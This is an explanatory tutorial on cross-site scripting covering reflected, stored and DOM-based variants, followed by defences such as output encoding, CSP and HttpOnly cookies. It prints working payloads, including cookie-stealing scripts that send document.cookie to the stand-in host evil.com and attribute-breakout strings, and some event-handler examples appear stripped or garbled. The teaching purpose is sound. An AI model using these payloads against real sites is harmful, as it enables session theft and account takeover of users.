SQL injection tricks a database. XSS tricks a browser — someone else’s. The whole game is getting your JavaScript to run in a victim’s session, as if the trusted site wrote it. Let’s build it from zero, then walk every type with payloads.
A site takes something you typed — a comment, a search term, your name — and shows it back on a page. Normally that text is just text. But a browser doesn’t read text; it reads HTML. So if the site drops your input into the page without cleaning it, and your input happens to be <script>…</script>, the browser does what browsers do: it runs it. That’s cross-site scripting — your code, executing in someone else’s browser, with all of their access. Watch it land:
So, what is XSS — really?
Same root cause as SQL injection, different victim. There, your input slipped into a database query. Here, it slips into the HTML of a page, and the browser can’t tell your injected <script> from the site’s own scripts. To the browser, it’s all just the page — so it runs everything with the same trust: your script can read the victim’s cookies, act as them, and talk to the site as them.
The “hello world” payload everyone starts with is harmless on purpose — it just proves code runs:
<script>alert(document.domain)</script> # if a popup shows the site's domain, your JS is running on their page
Nobody’s scared of an alert(). The real payloads are quiet — they steal the session and phone home:
<script>new Image().src='https://evil.com/c?'+document.cookie</script> # silently ships the victim's session cookie to the attacker → log in as them
And you don’t even need the word script — any HTML that can fire an event works, which is why filters that only block <script> fail:
<img src=x> # broken image → onerror fires <svg> # SVG load event "><script>alert(1)</script> # break out of an attribute first
How many types are there?
Three. They all end the same way — your script running in a victim’s browser — but they’re wildly different in how the payload gets there and who it hits. People mix up Stored and DOM constantly, so let’s give each one its own slow, deep walkthrough.
1 — Reflected XSS · the hit-and-run
Reflected XSS never gets stored — the payload lives only inside the request you send. You hide it in a URL, trick a victim into opening that exact URL, and the server echoes it straight back into the page it returns. Run, steal, gone. Because nothing is saved, it always needs a delivery step — a phishing link, a malicious ad, a DM. No link, no victim.
# attacker sends the victim this link: https://shop.com/search?q=<script>…steal cookie…</script> # the server reflects it straight into the results page:No results for <script>…steal cookie…</script>
# → runs
2 — Stored (Persistent) XSS · the landmine
Instead of a link, the attacker submits the payload as ordinary content — a comment, a username, a review, a support ticket — and the server tucks it into its database. Now it just sits there, armed. Everyone who later opens that page gets the payload served automatically, because the page is built out of the database. No link, no clicking, no convincing — the attacker posts once and walks away while every visitor (often including the admin reading that comment) runs the script for them. That persistence plus zero-interaction reach is why stored XSS is the most dangerous of the three.
# attacker leaves a comment: Great article! <script>fetch('//evil.com/c?'+document.cookie)</script> # it's saved in the DB and re-served to every visitor — fires on each page load
3 — DOM-based XSS · the one everyone confuses
Slow down here — this is the one that breaks people’s mental model. In the other two, the server is involved: it reflects or stores your payload and hands it back inside the HTML. In DOM XSS, the server can be completely innocent. The bug is in the page’s own JavaScript: some client-side code grabs a value you control — classically the part of the URL after the #, the “fragment” — and writes it into the page through a dangerous sink like innerHTML. Here’s the detail that trips everyone up: the browser never sends the # fragment to the server. The server returns the same innocent page to everybody; the malicious part is assembled entirely inside the victim’s browser, by the site’s own script. That’s exactly why server-side filters and WAFs sail right past it — there is nothing bad in the request they actually see.
// the page's own JS — the bug is right here: document.getElementById('out').innerHTML = location.hash.slice(1); // attack URL (everything after # often never hits the server): https://site.com/p#<img src=x>
What XSS actually gets an attacker
Because the script runs as the victim, it can do anything the victim can: steal the session cookie and take over the account, log keystrokes on a login form, read or change page content, fire authenticated requests (transfer money, change email), grab CSRF tokens, or hook the browser into a framework like BeEF. Stored XSS on a popular page can even self-propagate — that’s how the Samy worm hit a million MySpace profiles in 20 hours.
The fix (defense in depth)
One rule above all: never put untrusted input into the page as HTML. Output it as text, encoded for the exact context it lands in. Then stack defenses so one slip isn’t game over.
// ✗ vulnerable — input is parsed as HTML el.innerHTML = userInput // ✓ safe — input is treated as plain text, never markup el.textContent = userInput # + encode on output: < → < > → > " → " # + CSP header: Content-Security-Policy: script-src 'self' # + HttpOnly cookies → JavaScript can't read document.cookie # + need rich HTML? DOMPurify.sanitize(userInput)
dangerouslySetInnerHTML / v-html). Add a strict Content-Security-Policy and HttpOnly cookies as the safety net.The types at a glance
| Type | Where the payload lives | How it reaches the victim | Blast radius |
|---|---|---|---|
| Reflected | In the request (URL param) | Victim clicks a crafted link | One victim per link |
| Stored | Saved on the server (DB) | Victim just views the page | Everyone who loads it |
| DOM-based | In client-side JS only | Unsafe JS sink (innerHTML) | Server may never see it |